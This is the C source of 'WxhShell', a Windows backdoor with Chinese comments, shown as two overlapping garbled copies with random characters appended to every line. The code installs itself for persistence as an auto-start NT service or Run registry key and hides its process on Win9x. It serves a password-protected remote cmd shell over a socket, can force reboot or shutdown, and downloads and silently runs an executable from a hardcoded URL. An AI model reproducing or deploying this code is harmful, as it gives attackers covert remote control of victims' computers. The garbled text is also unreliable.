    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E~qK&7+  
    if(Boot(SHUTDOWN)) LsnXS9_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h4hd<,  
    else { 78gob&p?  
    closesocket(wsh); BHIM'24bp  
    ExitThread(0); *eMLbU7  
    } ?SB5b,  
    break; R,XD6'Q  
    } "hfw9Qm  
  // 获取shell Mc.^s  
  case 's': { lej^gxj/2  
    CmdShell(wsh); "^!j5fZ  
    closesocket(wsh); OY$7`8M[  
    ExitThread(0); nWd:>Ur  
    break; x vHOY:  
  } p+!f(H  
  // 退出 9B& }7kk  
  case 'x': { Jr|K>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "rL"K  
    CloseIt(wsh);  $.=5e3  
    break; zCyR<as7  
    } tYF$#Nor#k  
  // 离开 T$f:[ye]Z  
  case 'q': { IwOfZuS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |YJ$c @  
    closesocket(wsh); e3G7K8  
    WSACleanup(); 8U8P g2  
    exit(1); T %$2k>  
    break; ik8|9m4/  
        } 5R& x{jf$  
  } ~D$#>'C#  
  } +0pgq (  
N;e}dwh&  
  // 提示信息 8Ix -i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \z&03@Sw  
} B!$V\Gs  
  } xn0s`I[  
I3V{"Nx6  
  return; ,ZsYXW  
} [P(rY  
MHC.k=  
// shell模块句柄 7uWJ6Wk  
int CmdShell(SOCKET sock) GG@iKL V  
{ ee4KMS  
STARTUPINFO si; U&tfl/  
ZeroMemory(&si,sizeof(si)); b\<lNE!L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f>.` xC{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7Y$4MMNQ  
PROCESS_INFORMATION ProcessInfo; nL "g23  
char cmdline[]="cmd"; liBAJx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ahK?]:&QO  
  return 0; v4nv Z6  
} {o Q(<&Aw  
)*q7pO\cty  
// 自身启动模式 fU\k?'x_  
int StartFromService(void) B<vvsp\X  
{ O6*'gnke  
typedef struct m70`{-O  
{ PEOM1oY)w  
  DWORD ExitStatus; 5i}CzA96  
  DWORD PebBaseAddress; jV(xYA3  
  DWORD AffinityMask;  r{; VTQ  
  DWORD BasePriority; vWPM:1A  
  ULONG UniqueProcessId; DctX9U(  
  ULONG InheritedFromUniqueProcessId; (:</R$I  
}   PROCESS_BASIC_INFORMATION; E7d~#  
y\r^\ S9%  
PROCNTQSIP NtQueryInformationProcess; #U\&i`  
j\i;'t}8g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yBXkN&1=%;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^?sSsH z  
=H.<"7  
  HANDLE             hProcess; [="g|/M)  
  PROCESS_BASIC_INFORMATION pbi; E-BOIy,  
8gu'dG=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Pl>nd)i`  
  if(NULL == hInst ) return 0; PU]7c2.y  
{Oc?C:aI=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~#IWM+I  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F1{?]>G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ( FjsN5  
.&* ({UM  
  if (!NtQueryInformationProcess) return 0; =Ov;'MC  
IxK 3,@d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eE#81]'6a  
  if(!hProcess) return 0;  HzgQI  
&kr_CP:;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @@&@}IQcR1  
?-(w][MT\  
  CloseHandle(hProcess); ]XpU'/h>q;  
4:%El+,_Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0IT20.~  
if(hProcess==NULL) return 0; Rpa A)R,  
5sA>O2Rt>  
HMODULE hMod; //'xR8Z  
char procName[255]; ]/<Qn-BbU  
unsigned long cbNeeded; fxtYo,;$  
Zo}\gg3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <Vr] 2mw  
|aOnV,}  
  CloseHandle(hProcess); wFoR,oXtL/  
Js^r]=\F'  
if(strstr(procName,"services")) return 1; // 以服务启动 ~3*ZG  
v0H>iKh7  
  return 0; // 注册表启动 l+3%%TV@L  
} Rm[rQ }:  
Li<266#A!  
// 主模块 o}AqNw60v  
int StartWxhshell(LPSTR lpCmdLine) J4K|KS7   
{ ;03*qOYc  
  SOCKET wsl; x/jN& ;"/  
BOOL val=TRUE; 6wvhvMkS  
  int port=0; Sj]T{3mi  
  struct sockaddr_in door; 61eKGcjs:  
7Hr4yh[j&  
  if(wscfg.ws_autoins) Install(); Um0<I)  
S#%JSQo:  
port=atoi(lpCmdLine); 4{;8 ]/.a  
RZ,<D I  
if(port<=0) port=wscfg.ws_port; T$8$9D_u  
Q,M/R6i-  
  WSADATA data; (1r>50Ge  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "=Fn.r4I  
zf!\wY"`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   MkV*+LXC  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OD@@O9  
  door.sin_family = AF_INET; o4I!VK(C#s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); DHujpZXQ  
  door.sin_port = htons(port); XKPt[$ab  
k @/SeE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c402pj  
closesocket(wsl); 3vGaT4TDx  
return 1; 0.+Z;j  
} ,aj+mlZd2  
51(`wo>LS  
  if(listen(wsl,2) == INVALID_SOCKET) { ^>R|R1&  
closesocket(wsl); $P}]|/Yb  
return 1; BQfAen]  
} /Geks/  
  Wxhshell(wsl); ]zR;%p  
  WSACleanup(); X=c ,`&^  
BO\`m%8md  
return 0; $^+KR]\q  
O |I:[S},  
} $X\` 7`v  
17[t_T&Ak9  
// 以NT服务方式启动 @aPu}Hi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kFZu/HRI  
{ +nyN+X34B  
DWORD   status = 0; Z$=$oJzB  
  DWORD   specificError = 0xfffffff; =`.5b:e  
= ]HJa  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [,?A$Z*Z|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hw.demD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; k-PRV8WO  
  serviceStatus.dwWin32ExitCode     = 0; wT AEJ{p  
  serviceStatus.dwServiceSpecificExitCode = 0; {aa,#B] i  
  serviceStatus.dwCheckPoint       = 0; Wes "t}[25  
  serviceStatus.dwWaitHint       = 0; 6g,3s?aT  
wNZS6JF.d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (a4y1k t-  
  if (hServiceStatusHandle==0) return; N*)8L[7_;  
y42T.oK8c  
status = GetLastError(); ~Wd8>a{w  
  if (status!=NO_ERROR) FZ.Yn   
{ ump:dL5{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2i'-lM=  
    serviceStatus.dwCheckPoint       = 0;  ~9jP++&  
    serviceStatus.dwWaitHint       = 0; V`&*%xgGR  
    serviceStatus.dwWin32ExitCode     = status; yT9RNo/w  
    serviceStatus.dwServiceSpecificExitCode = specificError; GQAg ex)D  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2X |jq4  
    return; vh3iu +  
  } zgOwSg8  
<y/AEY1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <T~fh>a  
  serviceStatus.dwCheckPoint       = 0; sEi.f(WA  
  serviceStatus.dwWaitHint       = 0; X1QZEl  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @{GxQzo  
} QL!+.y%  
qBrZg  
// 处理NT服务事件,比如:启动、停止 /faP]J)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fe`G^hV  
{ }(I DPaJ  
switch(fdwControl) $>37PVVW  
{ -.3k vL  
case SERVICE_CONTROL_STOP: d33Nx)No  
  serviceStatus.dwWin32ExitCode = 0; on&=%tCAL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KvOI)"0(  
  serviceStatus.dwCheckPoint   = 0; :rc[j@|pH  
  serviceStatus.dwWaitHint     = 0; >V=@[B(0  
  { m&c(N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k"-#ox!  
  } l'8wPmy%N  
  return; <G=@Gl  
case SERVICE_CONTROL_PAUSE: 3Ya6yz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5!fW&OiY  
  break; rZ4<*Zegv  
case SERVICE_CONTROL_CONTINUE: SytDo (_=W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7}85o J  
  break; ,B>b9,~3a  
case SERVICE_CONTROL_INTERROGATE: >5W"a?(  
  break; }r<^]Q*&p  
}; !sWBj'[>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?2>v5p  
} Tz~ ftf  
@x ]^blq  
// 标准应用程序主函数 (19<8a9G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;itg>\ p3  
{ bd;f@)X  
k= 1+mG  
// 获取操作系统版本 ~]+  jn  
OsIsNt=GetOsVer(); "b7C0NE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ogbdt1  
Uwa1)Lwn  
  // 从命令行安装 ^Z+D7Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); k]YGD  
,KaWP  
  // 下载执行文件 )uWNN"  
if(wscfg.ws_downexe) { ZM!~M>B9R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i|'t!3I^m  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7?#32B Gr  
} y$NG..S  
hKYPH?b%  
if(!OsIsNt) { N Q=YTRU  
// 如果时win9x,隐藏进程并且设置为注册表启动 4tWI)}+ak  
HideProc(); c>.Xc[H  
StartWxhshell(lpCmdLine); E v#aMK  
} ~Wv?p4  
else @kymL8"2w  
  if(StartFromService()) s50ln&2  
  // 以服务方式启动 G$<0_0GF  
  StartServiceCtrlDispatcher(DispatchTable); $vz%   
else `h6W@ROb  
  // 普通方式启动 e vuP4-[y  
  StartWxhshell(lpCmdLine); b"9,DQB=i  
A4h/oMis  
return 0; ry"zec B  
} pXa? Q@ 6  
?Pc 3*.  
X.<R['U&\  
{ VO4""m  
=========================================== '"^JNb^I  
dW68lVWq_  
:DJ@HY  
=ndKG5  
X3yr6J[ ^  
Y[4B{  
" L4b4X  
Z ngJ9js  
#include <stdio.h> = @o}  
#include <string.h> _!zY(9%  
#include <windows.h> AAcbY;  
#include <winsock2.h> vKf=t&gqr  
#include <winsvc.h> .<dmdqk]  
#include <urlmon.h>  Km7  
4aC#Cv:0  
#pragma comment (lib, "Ws2_32.lib") mZyTo/\0  
#pragma comment (lib, "urlmon.lib") 8vK&d>  
q0wVV  
#define MAX_USER   100 // 最大客户端连接数 8n?.w:Y/  
#define BUF_SOCK   200 // sock buffer .&y1gh!=  
#define KEY_BUFF   255 // 输入 buffer @Rm/g#!h"  
3 6 ;hg #  
#define REBOOT     0   // 重启 L%FL{G  
#define SHUTDOWN   1   // 关机 }|,y`ui\  
^ dqEOW  
#define DEF_PORT   5000 // 监听端口 O [/~V=  
}^muAr  
#define REG_LEN     16   // 注册表键长度 1oPT8)[U  
#define SVC_LEN     80   // NT服务名长度 nP^$p C  
e=2D^ G#qE  
// 从dll定义API ,"o \_{<z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sXu]k#I^"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); K@m^QioMj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s><co]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); YbKW;L&Ff  
bb{+  
// wxhshell配置信息 _Gu ;U@  
struct WSCFG { fvD wg  
  int ws_port;         // 监听端口 $Tg$FfD6&  
  char ws_passstr[REG_LEN]; // 口令 n[@Ur2&)  
  int ws_autoins;       // 安装标记, 1=yes 0=no ArY'NE\Htt  
  char ws_regname[REG_LEN]; // 注册表键名 lK-I[i!  
  char ws_svcname[REG_LEN]; // 服务名 cu-WY8n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }MNm>3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gA6C(##0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Qxwe,:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W4<}w-AoEp  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uT1x\Rt|e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rfjQx]3pB  
_bX)fnUu  
}; ' vwBG=9C  
U:Y?2$#  
// default Wxhshell configuration nB.p}k  
struct WSCFG wscfg={DEF_PORT, uyj5}F+O  
    "xuhuanlingzhe", (I$hw"%&  
    1, QUt!fF@t  
    "Wxhshell", tVOx  
    "Wxhshell", P1t5-q  
            "WxhShell Service", DCj!m<Y&  
    "Wrsky Windows CmdShell Service", {T.VB~C  
    "Please Input Your Password: ", + '`RJ,K+[  
  1, Nx99dr  
  "http://www.wrsky.com/wxhshell.exe", 4T:ZEvdzf  
  "Wxhshell.exe" LE;c+(CAU  
    }; f =Nm2(e  
7$'ja  
// 消息定义模块 r* U6govky  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2h=RNU|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O'k"6sBb  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Rh=h{O  
char *msg_ws_ext="\n\rExit."; [K5afnq`  
char *msg_ws_end="\n\rQuit."; 99`xY$  
char *msg_ws_boot="\n\rReboot..."; t?\osPL  
char *msg_ws_poff="\n\rShutdown..."; m\(a{x  
char *msg_ws_down="\n\rSave to "; R&?p^!`%  
H_{Yr+p  
char *msg_ws_err="\n\rErr!";  #u~8Txt  
char *msg_ws_ok="\n\rOK!"; ,-):&V:jF  
\|Mz'*  
char ExeFile[MAX_PATH]; Ae"B]Cxb_X  
int nUser = 0; ="V6z$N  
HANDLE handles[MAX_USER]; l{<@[foc  
int OsIsNt; o.,hCg)X  
qg_=5s  
SERVICE_STATUS       serviceStatus; %NvY~,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; #(%6urd  
NOvN8.K%  
// 函数声明 j*GYYEY  
int Install(void); #soWX_>  
int Uninstall(void); d;`JDT  
int DownloadFile(char *sURL, SOCKET wsh); 8"+Kz  
int Boot(int flag); MZ0 J/@(  
void HideProc(void); 4XRVluD%W.  
int GetOsVer(void); SO|$X  
int Wxhshell(SOCKET wsl); KyjN'F$  
void TalkWithClient(void *cs); -{HA+YL H  
int CmdShell(SOCKET sock); 2vynz,^ET  
int StartFromService(void); FbF P  
int StartWxhshell(LPSTR lpCmdLine); 8q_nOGd  
|1#*`2j\=9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C&\#{m_1B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vForj*Xo  
gF&1e5`i  
// 数据结构和表定义 {Wt=NI?Ow  
SERVICE_TABLE_ENTRY DispatchTable[] = n;[d{bU  
{ rAgb<D@,H  
{wscfg.ws_svcname, NTServiceMain}, HZ/e^"cpM  
{NULL, NULL} Bx)4BPaN  
}; nBR4j?':i  
F&^u1RYz  
// 自我安装 }5EvBEv-)  
int Install(void) s~3"*,3@  
{ 'vBuQinn  
  char svExeFile[MAX_PATH]; b}WU  
  HKEY key; A\LMmg  
  strcpy(svExeFile,ExeFile); P9BShC5  
fTMn  
// 如果是win9x系统,修改注册表设为自启动 nGq{+ G  
if(!OsIsNt) { F8nR.|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v#TU7v?~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f-^JI*hj  
  RegCloseKey(key); S/V%<<[>p]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r[K%8Y8`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  (cx Q<5  
  RegCloseKey(key); ;O+= 6>W  
  return 0; Ko: <@h  
    } y2KR^/LN|Y  
  } 9!; /+P  
} 1N,</<"  
else { dSkMA  
~m3Q^ue  
// 如果是NT以上系统,安装为系统服务 Zcjh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *mby fu0q  
if (schSCManager!=0) u^, eHO  
{ ~wvu7  
  SC_HANDLE schService = CreateService fS?}(7  
  ( zc K`hS  
  schSCManager, sFt"2TVr3  
  wscfg.ws_svcname, DHQS7%)f`  
  wscfg.ws_svcdisp, [>![ViX  
  SERVICE_ALL_ACCESS, Kl_(4kQE_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7H.3.j(L  
  SERVICE_AUTO_START, f\xmv|8  
  SERVICE_ERROR_NORMAL, o, PpD,,  
  svExeFile, {^8?fJ/L  
  NULL, 0Xb,ne 7  
  NULL, 5:|9pe)  
  NULL, |yS  %  
  NULL, T[Lz4;TRk5  
  NULL 7cB/G:{  
  ); jh(T?t$&  
  if (schService!=0) 0nbY~j$A=  
  { rtNYX=P  
  CloseServiceHandle(schService); ?zex]!R  
  CloseServiceHandle(schSCManager); 1J([*)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .+A)^A  
  strcat(svExeFile,wscfg.ws_svcname); _iu~vU)r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,oykOda:|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ncqAof(/  
  RegCloseKey(key); e>6|# d  
  return 0; bmu]zJ  
    } h+=IxF4  
  } ,p{naT%R  
  CloseServiceHandle(schSCManager); {xx}xib3  
} ^"<x4e9+j  
} 47N,jVt4  
9U8x&Z]P  
return 1; 3\2%i 6W6  
} M287Z[  
@^T~W^+  
// 自我卸载 n]df)a  
int Uninstall(void) D=Q.Q  
{ !( >U3N  
  HKEY key; %N)B8A9kh  
(<YBvpt4>  
if(!OsIsNt) { f"RC(("6W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ( +Sv3h  
  RegDeleteValue(key,wscfg.ws_regname); ugNt7P,^  
  RegCloseKey(key); `6)(Fk--"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fX]`vjM{  
  RegDeleteValue(key,wscfg.ws_regname); TG[u3 Y4  
  RegCloseKey(key); <pfl>Uf  
  return 0; D'<L6w`  
  } D6A u)1y=&  
} ;89kL]  
} iLch3[p%  
else { vn+XY =Qnr  
o2X95NiH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); eT+i &  
if (schSCManager!=0) }/dk2!?ig  
{ t5%cpkgh4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _tJt eDRY  
  if (schService!=0) s]% C z\  
  { <Xl#}6II  
  if(DeleteService(schService)!=0) {  q[ _qZ  
  CloseServiceHandle(schService); XHekz6_  
  CloseServiceHandle(schSCManager); kN.;;HFq#  
  return 0; OL>)SJj5  
  } ''YqxJ fb  
  CloseServiceHandle(schService); Rjq Xz6  
  } u [._RA  
  CloseServiceHandle(schSCManager);  ][wb4$2  
} g35!a<JW  
} ])wdd>'  
[EDX@Kdq)  
return 1; *mzi ?3  
} K_;vqi^1^&  
?D6uviQg  
// 从指定url下载文件 !{g<RS( c  
int DownloadFile(char *sURL, SOCKET wsh) \= v.$u"c  
{ _;B wP  
  HRESULT hr; K f/[Edn  
char seps[]= "/"; !gve]>M  
char *token; nd]SI;<  
char *file; QQBh)5F  
char myURL[MAX_PATH]; 1ZI1+TDH  
char myFILE[MAX_PATH]; Jqj!k*=/  
eCYPd-d  
strcpy(myURL,sURL); HEBeJ2w  
  token=strtok(myURL,seps); 3]l)uoNt/  
  while(token!=NULL) @ j^R+F  
  { F{0\a;U@^  
    file=token; -g@!\{  
  token=strtok(NULL,seps); xj3 qOx$  
  } g}s$s}  
+4s]#{mP  
GetCurrentDirectory(MAX_PATH,myFILE); zY*9M3(X  
strcat(myFILE, "\\"); $D1ha CL  
strcat(myFILE, file); 6nZ]y&$G-k  
  send(wsh,myFILE,strlen(myFILE),0); :j]1wp+  
send(wsh,"...",3,0); KLyRb0V  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s*k)h,\  
  if(hr==S_OK) 3>KEl^1DB  
return 0; |}z)>E  
else & Q3Fgj  
return 1; t(u2%R4<d  
uzBQK  
} 0~bUW V  
FJ_7<4ET  
// 系统电源模块 ; Z]Wj9iY  
int Boot(int flag) `,qft[1  
{ g&s. 0+  
  HANDLE hToken; ZwkUd-=0i  
  TOKEN_PRIVILEGES tkp; JT?u[p Q^  
4!IuTPmr  
  if(OsIsNt) { )2&3D"V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AELj"=RA  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G?s9c0f  
    tkp.PrivilegeCount = 1; xDo0bR(  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q;]JVT1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q&25,zWD  
if(flag==REBOOT) { gJQ#j~'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mtmC,jnD  
  return 0; )9hqd  
} 3vY-;&  
else { }u_D{bz  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =W~7fs  
  return 0; %e~xO x  
} qYK^S4L  
  } g-eJan&]N  
  else { NiZfaC6V  
if(flag==REBOOT) { ("8Hku?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?()*"+N(ck  
  return 0; yaR>?[h  
} ZSuoD$~k[  
else { ]l,D,d81  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }9^:(ty2A  
  return 0; P~j#8cH7  
} #_DpiiS,.Q  
} bo\ bs1  
$|~ <6A{y  
return 1; &;DCN  
} QTHY{:Rmu  
GHsDZ(d3.  
// win9x进程隐藏模块 Z>g72I%X  
void HideProc(void) W Z'<iI  
{ 4|?(LHBD)  
]3 "0#Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [+\He/M6  
  if ( hKernel != NULL ) [U&k"s?  
  { Wd'}YbC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @NM0ILE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p/{%%30ke  
    FreeLibrary(hKernel); bJ:5pBJ3  
  } WsHD Ip  
m6i ,xn  
return; P.Nt jz/B  
} hi(b\ ABx  
HhynU/36  
// 获取操作系统版本 sX"L\v  
int GetOsVer(void) /dCsZA  
{ && ]ix3  
  OSVERSIONINFO winfo; nvR%Ub x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bc(MN8b]j  
  GetVersionEx(&winfo); W> TG?hH  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :Racu;xf  
  return 1; #._JB-,'  
  else >#h,q|B  
  return 0; =X'[r  
} [[[C`H@  
:q/s%`ob  
// 客户端句柄模块 7&id(&y/  
int Wxhshell(SOCKET wsl) fq>{5ODO  
{ N^QxqQ~  
  SOCKET wsh; ,u}wW*?,sT  
  struct sockaddr_in client; l;q]z  
  DWORD myID; ^li3*#eT  
1tY+0R  
  while(nUser<MAX_USER) ?b7ttlX{  
{ u0W6u} 4;  
  int nSize=sizeof(client); 7)U ik}0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lW"0fZ_x'E  
  if(wsh==INVALID_SOCKET) return 1; MsIR~  
s17)zi,?4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fgqCX:SWz  
if(handles[nUser]==0) 6?x F!VIL  
  closesocket(wsh); .c>6}:ye  
else ?n# $y@U  
  nUser++; |cd "cx+  
  } /[?} LrDO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X0L \Ewm  
e;v"d!H/  
  return 0; bGwOhd<.  
} jwjLxt  
p"P+8"`  
// 关闭 socket sSh." H  
void CloseIt(SOCKET wsh) qMEd R;o  
{ @(c^u;  
closesocket(wsh); %KVmpWku  
nUser--; |fyzb=Lg  
ExitThread(0); sPc}hG+N  
} gdCit-3  
.RmFYV0,  
// 客户端请求句柄 &IXmy-w  
void TalkWithClient(void *cs) GPni%P#a@0  
{ [f:&aS+  
}8AH/  
  SOCKET wsh=(SOCKET)cs; PK|qiu-O&*  
  char pwd[SVC_LEN]; 5=*i!c _m  
  char cmd[KEY_BUFF]; VsTgK  
char chr[1]; 'C}ku>B_r  
int i,j; \s[L=^!  
Syseiw  
  while (nUser < MAX_USER) { UU(Pg{DA 6  
Lios1|5  
if(wscfg.ws_passstr) { W;8A{3q%N0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8D>5(Dg-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1?w=v|b:P)  
  //ZeroMemory(pwd,KEY_BUFF); 9{3_2CIL  
      i=0; ie[X7$@  
  while(i<SVC_LEN) { PZru:.Mh  
]["%e9#aX  
  // 设置超时 O`Qke Z}  
  fd_set FdRead; p*<I_QM!  
  struct timeval TimeOut; D?%[du:V  
  FD_ZERO(&FdRead); _'mC*7+  
  FD_SET(wsh,&FdRead); ]@21KO  
  TimeOut.tv_sec=8; 0t7)x8c  
  TimeOut.tv_usec=0; #|8%h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Id^q!4Th9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?7pn%_S  
ZD]{HxGL!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #/Ob_~-?j  
  pwd=chr[0]; *.eeiSi{  
  if(chr[0]==0xd || chr[0]==0xa) { SFh<>J^ 0a  
  pwd=0; TDZ==<C  
  break; ;F- mt(Y  
  } Wm"q8-<<  
  i++; <V}q8k  
    } )2wf D  
l z"o( %D  
  // 如果是非法用户,关闭 socket A`M-N<T  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o "0 ~  
} ~tTn7[!  
QKEtV  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WI| -pzg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &Jb$YKt  
/~s<@<1!X  
while(1) { q2F `q. j  
0\"#Xa+}8  
  ZeroMemory(cmd,KEY_BUFF); 9i 9 ,X^=  
\>*.+?97  
      // 自动支持客户端 telnet标准   F (kq  
  j=0; sZ&6g<8#y  
  while(j<KEY_BUFF) { AH/^v;-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _1Rw~}O  
  cmd[j]=chr[0]; Z'9|  
  if(chr[0]==0xa || chr[0]==0xd) { 8EkzSe  
  cmd[j]=0; C7R3W,  
  break; b{-"GqMO  
  } ID`C  
  j++; irm4lb5  
    } j 7:r8? G  
f*"T]AX0  
  // 下载文件 NwOV2E6@OW  
  if(strstr(cmd,"http://")) { "(W;rl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |xZu?)M4  
  if(DownloadFile(cmd,wsh)) LKI\(%ba#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); o:cTc:l)  
  else %E#Ubm!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T#!% Uzz  
  } Z2g<"M  
  else { 12L`Gi  
@8`I!fZ  
    switch(cmd[0]) { <)LR  
  W;R6+@I[  
  // 帮助 urkuG4cY  
